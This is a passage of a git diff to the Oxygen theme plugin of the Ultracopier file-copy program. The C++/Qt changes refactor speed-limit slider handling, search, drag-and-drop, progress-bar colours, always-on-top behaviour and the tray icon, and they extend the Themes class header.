- if(currentSpeed!=1024*16)
- {
- currentSpeed=1024*16;
- emit newSpeedLimitation(currentSpeed);
- }
- ui->SliderSpeed->setValue(3);
- ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*16));
- }
- else if(currentSpeed<=1024*64)
- {
- if(currentSpeed!=1024*64)
- {
- currentSpeed=1024*64;
- emit newSpeedLimitation(currentSpeed);
- }
- ui->SliderSpeed->setValue(4);
- ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*64));
- }
- else
- {
- if(currentSpeed!=1024*128)
- {
- currentSpeed=1024*128;
- emit newSpeedLimitation(currentSpeed);
- }
- ui->SliderSpeed->setValue(5);
- ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*128));
- }
- }
- else
- {
- ui->checkBox_limitSpeed->setChecked(currentSpeed>0);
- if(currentSpeed>0)
- ui->limitSpeed->setValue(currentSpeed);
- ui->checkBox_limitSpeed->setEnabled(currentSpeed!=-1);
- ui->limitSpeed->setEnabled(ui->checkBox_limitSpeed->isChecked());
- }
+ ui->label_Slider_speed->setVisible(uiOptions->checkBoxShowSpeed->isChecked());
+ ui->SliderSpeed->setVisible(uiOptions->checkBoxShowSpeed->isChecked());
+ ui->label_SpeedMaxValue->setVisible(uiOptions->checkBoxShowSpeed->isChecked());
+ uiOptions->limitSpeed->setVisible(!uiOptions->checkBoxShowSpeed->isChecked());
+ uiOptions->checkBox_limitSpeed->setVisible(!uiOptions->checkBoxShowSpeed->isChecked());
+
+ if(uiOptions->checkBoxShowSpeed->isChecked())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("checked, currentSpeed: %1").arg(currentSpeed));
+ uiOptions->limitSpeed->setEnabled(false);
+ if(currentSpeed==0)
+ {
+ ui->SliderSpeed->setValue(0);
+ ui->label_SpeedMaxValue->setText(facilityEngine->translateText(QStringLiteral("Unlimited")));
+ }
+ else if(currentSpeed<=1024)
+ {
+ if(currentSpeed!=1024)
+ {
+ currentSpeed=1024;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(1);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*1));
+ }
+ else if(currentSpeed<=1024*4)
+ {
+ if(currentSpeed!=1024*4)
+ {
+ currentSpeed=1024*4;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(2);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*4));
+ }
+ else if(currentSpeed<=1024*16)
+ {
+ if(currentSpeed!=1024*16)
+ {
+ currentSpeed=1024*16;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(3);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*16));
+ }
+ else if(currentSpeed<=1024*64)
+ {
+ if(currentSpeed!=1024*64)
+ {
+ currentSpeed=1024*64;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(4);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*64));
+ }
+ else
+ {
+ if(currentSpeed!=1024*128)
+ {
+ currentSpeed=1024*128;
+ emit newSpeedLimitation(currentSpeed);
+ }
+ ui->SliderSpeed->setValue(5);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*128));
+ }
+ }
+ else
+ {
+ uiOptions->checkBox_limitSpeed->setChecked(currentSpeed>0);
+ if(currentSpeed>0)
+ uiOptions->limitSpeed->setValue(currentSpeed);
+ uiOptions->checkBox_limitSpeed->setEnabled(currentSpeed!=-1);
+ uiOptions->limitSpeed->setEnabled(uiOptions->checkBox_limitSpeed->isChecked());
+ }
}
void Themes::on_pauseButton_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(storeIsInPause)
- emit resume();
- else
- emit pause();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(storeIsInPause)
+ emit resume();
+ else
+ emit pause();
}
void Themes::on_skipButton_clicked()
{
- TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
- if(transfertItem.haveItem)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("skip at running: %1").arg(transfertItem.id));
- emit skip(transfertItem.id);
- }
- else
- {
- if(transferModel.rowCount()>1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("skip at idle: %1").arg(transferModel.firstId()));
- emit skip(transferModel.firstId());
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to skip the transfer, because no transfer running");
- }
+ TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
+ if(transfertItem.haveItem)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("skip at running: %1").arg(transfertItem.id));
+ emit skip(transfertItem.id);
+ }
+ else
+ {
+ if(transferModel.rowCount()>1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("skip at idle: %1").arg(transferModel.firstId()));
+ emit skip(transferModel.firstId());
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to skip the transfer, because no transfer running");
+ }
}
void Themes::updateModeAndType()
{
- menu->clear();
- if(modeIsForced)
- {
- menu->addAction(ui->actionAddFile);
- if(type==FileAndFolder)
- menu->addAction(ui->actionAddFolder);
- }
- else
- {
- menu->addAction(ui->actionAddFileToCopy);
- menu->addAction(ui->actionAddFileToMove);
- if(type==FileAndFolder)
- {
- menu->addAction(ui->actionAddFolderToCopy);
- menu->addAction(ui->actionAddFolderToMove);
- }
- }
+ menu->clear();
+ if(modeIsForced)
+ {
+ menu->addAction(ui->actionAddFile);
+ if(type==Ultracopier::FileAndFolder)
+ menu->addAction(ui->actionAddFolder);
+ }
+ else
+ {
+ menu->addAction(ui->actionAddFileToCopy);
+ menu->addAction(ui->actionAddFileToMove);
+ if(type==Ultracopier::FileAndFolder)
+ {
+ menu->addAction(ui->actionAddFolderToCopy);
+ menu->addAction(ui->actionAddFolderToMove);
+ }
+ }
}
void Themes::forcedModeAddFile()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFile(mode);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFile(mode);
}
void Themes::forcedModeAddFolder()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFolder(mode);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFolder(mode);
}
void Themes::forcedModeAddFileToCopy()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFile(Copy);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFile(Ultracopier::Copy);
}
void Themes::forcedModeAddFolderToCopy()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFolder(Copy);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFolder(Ultracopier::Copy);
}
void Themes::forcedModeAddFileToMove()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFile(Move);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFile(Ultracopier::Move);
}
void Themes::forcedModeAddFolderToMove()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFolder(Move);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit userAddFolder(Ultracopier::Move);
}
void Themes::newLanguageLoaded()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(modeIsForced)
- forceCopyMode(mode);
- ui->retranslateUi(this);
- if(!haveStarted)
- ui->current_file->setText(tr("File Name, 0KB"));
- else
- updateCurrentFileInformation();
- updateOverallInformation();
- updateSpeed();
- ui->tabWidget->setTabText(4,facilityEngine->translateText("Copy engine"));
- on_moreButton_toggled(ui->moreButton->isChecked());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(modeIsForced)
+ forceCopyMode(mode);
+ ui->retranslateUi(this);
+ uiOptions->retranslateUi(this);
+ uiOptions->comboBox_copyEnd->setItemText(0,tr("Don't close if errors are found"));
+ uiOptions->comboBox_copyEnd->setItemText(1,tr("Never close"));
+ uiOptions->comboBox_copyEnd->setItemText(2,tr("Always close"));
+ if(!haveStarted)
+ ui->current_file->setText(tr("File Name, 0KB"));
+ else
+ updateCurrentFileInformation();
+ updateOverallInformation();
+ updateSpeed();
+ if(ui->tabWidget->count()>=4)
+ ui->tabWidget->setTabText(ui->tabWidget->count()-1,facilityEngine->translateText(QStringLiteral("Copy engine")));
+ on_moreButton_toggled(ui->moreButton->isChecked());
}
void Themes::on_pushButtonCloseSearch_clicked()
{
- closeTheSearchBox();
+ closeTheSearchBox();
}
//close the search box
void Themes::closeTheSearchBox()
{
- currentIndexSearch = -1;
- ui->lineEditSearch->clear();
- ui->lineEditSearch->hide();
- ui->pushButtonSearchPrev->hide();
- ui->pushButtonSearchNext->hide();
- ui->pushButtonCloseSearch->hide();
- ui->searchButton->setChecked(false);
- hilightTheSearch();
+ currentIndexSearch = -1;
+ ui->lineEditSearch->clear();
+ ui->lineEditSearch->hide();
+ ui->pushButtonSearchPrev->hide();
+ ui->pushButtonSearchNext->hide();
+ ui->pushButtonCloseSearch->hide();
+ ui->searchButton->setChecked(false);
+ hilightTheSearch();
}
//search box shortcut
void Themes::searchBoxShortcut()
{
/* if(ui->lineEditSearch->isHidden())
- {*/
- ui->lineEditSearch->show();
- ui->pushButtonSearchPrev->show();
- ui->pushButtonSearchNext->show();
- ui->pushButtonCloseSearch->show();
- ui->lineEditSearch->setFocus(Qt::ShortcutFocusReason);
- ui->searchButton->setChecked(true);
+ {*/
+ ui->lineEditSearch->show();
+ ui->pushButtonSearchPrev->show();
+ ui->pushButtonSearchNext->show();
+ ui->pushButtonCloseSearch->show();
+ ui->lineEditSearch->setFocus(Qt::ShortcutFocusReason);
+ ui->searchButton->setChecked(true);
/* }
- else
- closeTheSearchBox();*/
+ else
+ closeTheSearchBox();*/
}
//hilight the search
void Themes::hilightTheSearch(bool searchNext)
{
- int result=transferModel.search(ui->lineEditSearch->text(),searchNext);
- if(ui->lineEditSearch->text().isEmpty())
- ui->lineEditSearch->setStyleSheet("");
- else
- {
- if(result==-1)
- ui->lineEditSearch->setStyleSheet("background-color: rgb(255, 150, 150);");
- else
- {
- ui->lineEditSearch->setStyleSheet("background-color: rgb(193,255,176);");
- ui->TransferList->scrollTo(transferModel.index(result,0));
- }
- }
+ int result=transferModel.search(ui->lineEditSearch->text(),searchNext);
+ if(ui->lineEditSearch->text().isEmpty())
+ ui->lineEditSearch->setStyleSheet("");
+ else
+ {
+ if(result==-1)
+ ui->lineEditSearch->setStyleSheet(QStringLiteral("background-color: rgb(255, 150, 150);"));
+ else
+ {
+ ui->lineEditSearch->setStyleSheet(QStringLiteral("background-color: rgb(193,255,176);"));
+ ui->TransferList->scrollTo(transferModel.index(result,0));
+ }
+ }
+}
+
+void Themes::hilightTheSearchSlot()
+{
+ hilightTheSearch();
}
void Themes::on_pushButtonSearchPrev_clicked()
{
- int result=transferModel.searchPrev(ui->lineEditSearch->text());
- if(ui->lineEditSearch->text().isEmpty())
- ui->lineEditSearch->setStyleSheet("");
- else
- {
- if(result==-1)
- ui->lineEditSearch->setStyleSheet("background-color: rgb(255, 150, 150);");
- else
- {
- ui->lineEditSearch->setStyleSheet("background-color: rgb(193,255,176);");
- ui->TransferList->scrollTo(transferModel.index(result,0));
- }
- }
+ int result=transferModel.searchPrev(ui->lineEditSearch->text());
+ if(ui->lineEditSearch->text().isEmpty())
+ ui->lineEditSearch->setStyleSheet("");
+ else
+ {
+ if(result==-1)
+ ui->lineEditSearch->setStyleSheet(QStringLiteral("background-color: rgb(255, 150, 150);"));
+ else
+ {
+ ui->lineEditSearch->setStyleSheet(QStringLiteral("background-color: rgb(193,255,176);"));
+ ui->TransferList->scrollTo(transferModel.index(result,0));
+ }
+ }
}
void Themes::on_pushButtonSearchNext_clicked()
{
- hilightTheSearch(true);
+ hilightTheSearch(true);
}
void Themes::on_lineEditSearch_returnPressed()
{
- hilightTheSearch();
+ hilightTheSearch();
}
void Themes::on_lineEditSearch_textChanged(QString text)
{
- if(text=="")
- {
- TimerForSearch->stop();
- hilightTheSearch();
- }
- else
- TimerForSearch->start();
+ if(text=="")
+ {
+ TimerForSearch->stop();
+ hilightTheSearch();
+ }
+ else
+ TimerForSearch->start();
}
void Themes::on_moreButton_toggled(bool checked)
{
- if(checked)
- this->setMaximumHeight(16777215);
- else
- this->setMaximumHeight(130);
- // usefull under windows
- this->updateGeometry();
- this->update();
- this->adjustSize();
-}
-
-void Themes::on_comboBox_copyErrors_currentIndexChanged(int index)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit sendErrorAction(ui->comboBox_copyErrors->itemData(index).toString());
-}
-
-void Themes::on_comboBox_fileCollisions_currentIndexChanged(int index)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit sendCollisionAction(ui->comboBox_fileCollisions->itemData(index).toString());
+ if(checked)
+ this->setMaximumHeight(16777215);
+ else
+ this->setMaximumHeight(130);
+ // usefull under windows
+ this->updateGeometry();
+ this->update();
+ this->adjustSize();
}
/* drag event processing
@@ -867,45 +1075,306 @@ void dragLeaveEvent(QDragLeaveEvent* event);
*/
void Themes::dropEvent(QDropEvent *event)
{
- const QMimeData* mimeData = event->mimeData();
- if(mimeData->hasUrls())
- {
- emit urlDropped(mimeData->urls());
- event->acceptProposedAction();
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ const QMimeData* mimeData = event->mimeData();
+ if(mimeData->hasUrls())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("hasUrls"));
+ emit urlDropped(mimeData->urls());
+ event->acceptProposedAction();
+ }
}
void Themes::dragEnterEvent(QDragEnterEvent* event)
{
- // if some actions should not be usable, like move, this code must be adopted
- event->acceptProposedAction();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ // if some actions should not be usable, like move, this code must be adopted
+ const QMimeData* mimeData = event->mimeData();
+ if(mimeData->hasUrls())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("hasUrls"));
+ event->acceptProposedAction();
+ }
}
void Themes::dragMoveEvent(QDragMoveEvent* event)
{
- // if some actions should not be usable, like move, this code must be adopted
- event->acceptProposedAction();
+ // if some actions should not be usable, like move, this code must be adopted
+ const QMimeData* mimeData = event->mimeData();
+ if(mimeData->hasUrls())
+ event->acceptProposedAction();
}
void Themes::dragLeaveEvent(QDragLeaveEvent* event)
{
- event->accept();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ event->accept();
}
void Themes::on_searchButton_toggled(bool checked)
{
- if(checked)
- searchBoxShortcut();
- else
- closeTheSearchBox();
+ if(checked)
+ searchBoxShortcut();
+ else
+ closeTheSearchBox();
}
void Themes::on_exportTransferList_clicked()
{
- emit exportTransferList();
+ emit exportTransferList();
}
void Themes::on_importTransferList_clicked()
{
- emit importTransferList();
+ emit importTransferList();
+}
+
+void Themes::progressColorWrite_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorWrite,this,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorWrite=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorWrite);
+ uiOptions->progressColorWrite->setIcon(pixmap);
+ updateProgressionColorBar();
+}
+
+void Themes::progressColorRead_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorRead,this,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorRead=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorRead);
+ uiOptions->progressColorRead->setIcon(pixmap);
+ updateProgressionColorBar();
+}
+
+void Themes::progressColorRemaining_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorRemaining,this,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorRemaining=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorRemaining);
+ uiOptions->progressColorRemaining->setIcon(pixmap);
+ updateProgressionColorBar();
+}
+
+void Themes::alwaysOnTop_clicked(bool reshow)
+{
+ Qt::WindowFlags flags = windowFlags();
+ #ifdef Q_OS_WIN32
+ if(uiOptions->alwaysOnTop->isChecked())
+ SetWindowPos((HWND)this->winId(), HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
+ else
+ SetWindowPos((HWND)this->winId(), HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
+ #endif
+ #ifdef Q_OS_LINUX
+ if(uiOptions->alwaysOnTop->isChecked())
+ flags=flags | Qt::X11BypassWindowManagerHint;
+ else
+ flags=flags & ~Qt::X11BypassWindowManagerHint;
+ #endif
+ if(uiOptions->alwaysOnTop->isChecked())
+ flags=flags | Qt::WindowStaysOnTopHint;
+ else
+ flags=flags & ~Qt::WindowStaysOnTopHint;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"uiOptions->alwaysOnTop->isChecked(): "+QString::number(uiOptions->alwaysOnTop->isChecked())+", flags: "+QString::number(flags));
+ setWindowFlags(flags);
+ if(reshow)
+ show();
+}
+
+void Themes::alwaysOnTop_clickedSlot()
+{
+ alwaysOnTop_clicked(true);
+}
+
+void Themes::updateProgressionColorBar()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ uiOptions->labelProgressionColor->setVisible(uiOptions->showDualProgression->isChecked());
+ uiOptions->frameProgressionColor->setVisible(uiOptions->showDualProgression->isChecked());
+ if(!uiOptions->showDualProgression->isChecked())
+ {
+ ui->progressBar_all->setStyleSheet(QStringLiteral(""));
+ ui->progressBar_file->setStyleSheet(QStringLiteral(""));
+ ui->progressBarCurrentSpeed->setStyleSheet(QStringLiteral(""));
+ }
+ else
+ {
+ ui->progressBar_all->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ ui->progressBarCurrentSpeed->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ }
+ if(stat==status_never_started)
+ updateCurrentFileInformation();
+}
+
+void Themes::updateTitle()
+{
+ if(uiOptions->showProgressionInTheTitle->isChecked() && totalSize>0)
+ {
+ if(!modeIsForced)
+ this->setWindowTitle(tr("%1 %2% of %3").arg(facilityEngine->translateText(QStringLiteral("Transfer"))).arg((currentSize*100)/totalSize).arg(facilityEngine->sizeToString(totalSize))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ else
+ {
+ if(mode==Ultracopier::Copy)
+ this->setWindowTitle(tr("%1 %2% of %3").arg(facilityEngine->translateText(QStringLiteral("Copy"))).arg((currentSize*100)/totalSize).arg(facilityEngine->sizeToString(totalSize))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ else
+ this->setWindowTitle(tr("%1 %2% of %3").arg(facilityEngine->translateText(QStringLiteral("Move"))).arg((currentSize*100)/totalSize).arg(facilityEngine->sizeToString(totalSize))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ }
+ }
+ else
+ {
+ if(!modeIsForced)
+ this->setWindowTitle(QStringLiteral("%1").arg(facilityEngine->translateText(QStringLiteral("Transfer")))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ else
+ {
+ if(mode==Ultracopier::Copy)
+ this->setWindowTitle(QStringLiteral("%1").arg(facilityEngine->translateText(QStringLiteral("Copy")))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ else
+ this->setWindowTitle(QStringLiteral("%1").arg(facilityEngine->translateText(QStringLiteral("Move")))+QStringLiteral(" - ")+facilityEngine->softwareName());
+ }
+ }
+}
+
+/** \brief Create progessive icon
+
+Do QIcon with top and bottom image mixed and percent writed on it.
+The icon it be search in the style path.
+Do by mongaulois, remake by alpha_one_x86.
+\param percent indique how many percent need be showed, sould be between 0 and 100
+\param text The showed text if needed (optionnal)
+\return QIcon of the final image
+\note Can be used as it: dynaIcon(75,"...")
+*/
+QIcon Themes::dynaIcon(int percent,QString text) const
+{
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(pixmapTop.isNull() || pixmapBottom.isNull())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error loading the icons");
+ #endif
+ if(percent==-1)
+ percent=getOldProgression;
+ if(percent<0)
+ percent=0;
+ if(percent>100)
+ percent=100;
+ //pixmap avec un fond transparent
+ #ifdef Q_OS_WIN32
+ quint8 imageSize=16;
+ #else
+ quint8 imageSize=22;
+ #endif
+ QPixmap resultImage(imageSize,imageSize);
+ resultImage.fill(Qt::transparent);
+ {
+ QPainter painter(&resultImage);
+ #ifndef Q_OS_WIN32
+ QFont font(QStringLiteral("Courier New"),9);
+ font.setBold(true);
+ font.setKerning(true);
+ painter.setFont(font);
+ #endif
+ #ifdef Q_OS_WIN32
+ QFont font(QStringLiteral("Courier New"),8);
+ font.setBold(true);
+ font.setKerning(true);
+ painter.setFont(font);
+ #endif
+
+ //preprocessing the calcul
+ quint8 bottomPixel=(percent*imageSize)/100;
+ quint8 topPixel=imageSize-bottomPixel;
+
+ //top image
+ if(topPixel>0)
+ {
+ QRect target(0, 0, imageSize, topPixel);
+ QRect source(0, 0, imageSize, topPixel);
+ painter.drawPixmap(target, pixmapTop, source);
+ }
+
+ //bottom image
+ if(bottomPixel>0)
+ {
+ QRect target2(0, topPixel, imageSize, bottomPixel);
+ QRect source2(0, topPixel, imageSize, bottomPixel);
+ painter.drawPixmap(target2, pixmapBottom, source2);
+ }
+
+ qint8 textxOffset=0;
+ qint8 textyOffset=0;
+ if(text.isEmpty())
+ {
+ if(percent!=100)
+ text=QString::number(percent);
+ else
+ {
+ text=QStringLiteral(":)");
+ #ifdef Q_OS_WIN32
+ textyOffset-=2;
+ #else
+ textyOffset-=1;
+ #endif
+ }
+ }
+ if(text.size()==1)
+ {
+ textxOffset+=3;
+ #ifdef Q_OS_WIN32
+ textxOffset-=1;
+ #endif
+ }
+ else
+ {
+ #ifdef Q_OS_WIN32
+ textxOffset-=1;
+ #endif
+ }
+ #ifndef Q_OS_WIN32
+ textxOffset+=2;
+ textyOffset+=3;
+ #endif
+ painter.setPen(QPen(Qt::black));
+ painter.drawText(3+textxOffset,13+textyOffset,text);
+ painter.setPen(QPen(Qt::white));
+ painter.drawText(2+textxOffset,12+textyOffset,text);
+ }
+ return QIcon(resultImage);
+}
+
+/** \brief For catch an action on the systray icon
+\param reason Why it activated
+*/
+void Themes::catchAction(QSystemTrayIcon::ActivationReason reason)
+{
+ if(reason==QSystemTrayIcon::DoubleClick || reason==QSystemTrayIcon::Trigger)
+ {
+ sysTrayIcon->hide();
+ this->show();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Double Click detected");
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("reason: %1").arg(reason));
+}
+
+void Themes::on_exportErrorToTransferList_clicked()
+{
+ emit exportErrorIntoTransferList();
}
diff --git a/plugins/Themes/Oxygen/interface.h b/plugins/Themes/Oxygen/interface.h
index 7470520..ee3cadd 100755..100644
--- a/plugins/Themes/Oxygen/interface.h
+++ b/plugins/Themes/Oxygen/interface.h
@@ -1,8 +1,7 @@
/** \file interface.h
\brief Define the interface
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef INTERFACE_H
#define INTERFACE_H
@@ -13,199 +12,211 @@
#include <QCloseEvent>
#include <QShortcut>
#include <QItemSelectionModel>
+#include <QTimer>
+#include <QTime>
+#include <QSystemTrayIcon>
+#include <QPixmap>
#include "../../../interface/PluginInterface_Themes.h"
#include "ui_interface.h"
-#include "ui_options.h"
+#include "ui_themesOptions.h"
#include "Environment.h"
#include "TransferModel.h"
// for windows progress bar
#ifndef __GNUC__
-#include <shobjidl.h>
+# include <shobjidl.h>
#endif
namespace Ui {
- class interfaceCopy;
+ class interfaceCopy;
+ class themesOptions;
}
/// \brief Define the interface
class Themes : public PluginInterface_Themes
{
- Q_OBJECT
+ Q_OBJECT
public:
- Themes(bool checkBoxShowSpeed,FacilityInterface * facilityEngine,bool moreButtonPushed);
- ~Themes();
- //send information about the copy
- /// \brief to set the action in progress
- void actionInProgess(EngineActionInProgress);
- /// \brief the new folder is listing
- void newFolderListing(const QString &path);
- /** \brief show the detected speed
- * in byte per seconds */
- void detectedSpeed(const quint64 &speed);
- /** \brief show the remaining time
- * time in seconds */
- void remainingTime(const int &remainingSeconds);
- /// \brief set the current collision action
- void newCollisionAction(const QString &action);
- /// \brief set the current error action
- void newErrorAction(const QString &action);
- /// \brief set one error is detected
- void errorDetected();
- //speed limitation
- /** \brief the max speed used
- * in byte per seconds, -1 if not able, 0 if disabled */
- bool setSpeedLimitation(const qint64 &speedLimitation);
- //get information about the copy
- /// \brief show the general progression
- void setGeneralProgression(const quint64 &current,const quint64 &total);
- /// \brief show the file progression
- void setFileProgression(const QList<ProgressionItem> &progressionList);
- /// \brief set collision action
- void setCollisionAction(const QList<QPair<QString,QString> > &);
- /// \brief set error action
- void setErrorAction(const QList<QPair<QString,QString> > &);
- /// \brief set the copyType -> file or folder
- void setCopyType(CopyType);
- /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
- void forceCopyMode(CopyMode);
- /// \brief set if transfer list is exportable/importable
- void setTransferListOperation(TransferListOperation transferListOperation);
- //edit the transfer list
- /// \brief get action on the transfer list (add/move/remove)
- void getActionOnList(const QList<returnActionOnCopyList> &returnActions);
- /** \brief set if the order is external (like file manager copy)
- * to notify the interface, which can hide add folder/filer button */
- void haveExternalOrder();
- /// \brief set if is in pause
- void isInPause(bool);
- /// \brief get the widget for the copy engine
- QWidget * getOptionsEngineWidget();
- /// \brief to set if the copy engine is found
- void getOptionsEngineEnabled(bool isEnabled);
+ Themes(const bool &alwaysOnTop,
+ const bool &showProgressionInTheTitle,
+ const QColor &progressColorWrite,
+ const QColor &progressColorRead,
+ const QColor &progressColorRemaining,
+ const bool &showDualProgression,
+ const quint8 &comboBox_copyEnd,
+ const bool &speedWithProgressBar,
+ const qint32 &currentSpeed,
+ const bool &checkBoxShowSpeed,
+ FacilityInterface * facilityEngine,
+ const bool &moreButtonPushed,
+ const bool &minimizeToSystray,
+ const bool &startMinimized);
+ ~Themes();
+ //send information about the copy
+ /// \brief to set the action in progress
+ void actionInProgess(const Ultracopier::EngineActionInProgress &);
+ /// \brief the new folder is listing
+ void newFolderListing(const QString &path);
+ /** \brief show the detected speed
+ * in byte per seconds */
+ void detectedSpeed(const quint64 &speed);
+ /** \brief show the remaining time
+ * time in seconds */
+ void remainingTime(const int &remainingSeconds);
+ /// \brief set the current collision action
+ void newCollisionAction(const QString &action);
+ /// \brief set the current error action
+ void newErrorAction(const QString &action);
+ /// \brief set one error is detected
+ void errorDetected();
+ /// \brief new error
+ void errorToRetry(const QString &source,const QString &destination,const QString &error);
+ /** \brief support speed limitation */
+ void setSupportSpeedLimitation(const bool &supportSpeedLimitationBool);
+ //get information about the copy
+ /// \brief show the general progression
+ void setGeneralProgression(const quint64 &current,const quint64 &total);
+ /// \brief show the file progression
+ void setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList);
+ /// \brief set the copyType -> file or folder
+ void setCopyType(const Ultracopier::CopyType &);
+ /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
+ void forceCopyMode(const Ultracopier::CopyMode &);
+ /// \brief set if transfer list is exportable/importable
+ void setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation);
+ //edit the transfer list
+ /// \brief get action on the transfer list (add/move/remove)
+ void getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions);
+ /** \brief set if the order is external (like file manager copy)
+ * to notify the interface, which can hide add folder/filer button */
+ void haveExternalOrder();
+ /// \brief set if is in pause
+ void isInPause(const bool &);
+ /// \brief get the widget for the copy engine
+ QWidget * getOptionsEngineWidget();
+ /// \brief to set if the copy engine is found
+ void getOptionsEngineEnabled(const bool &isEnabled);
+ enum status{status_never_started,status_started,status_stopped};
+ status stat;
public slots:
- /// \brief set the translate
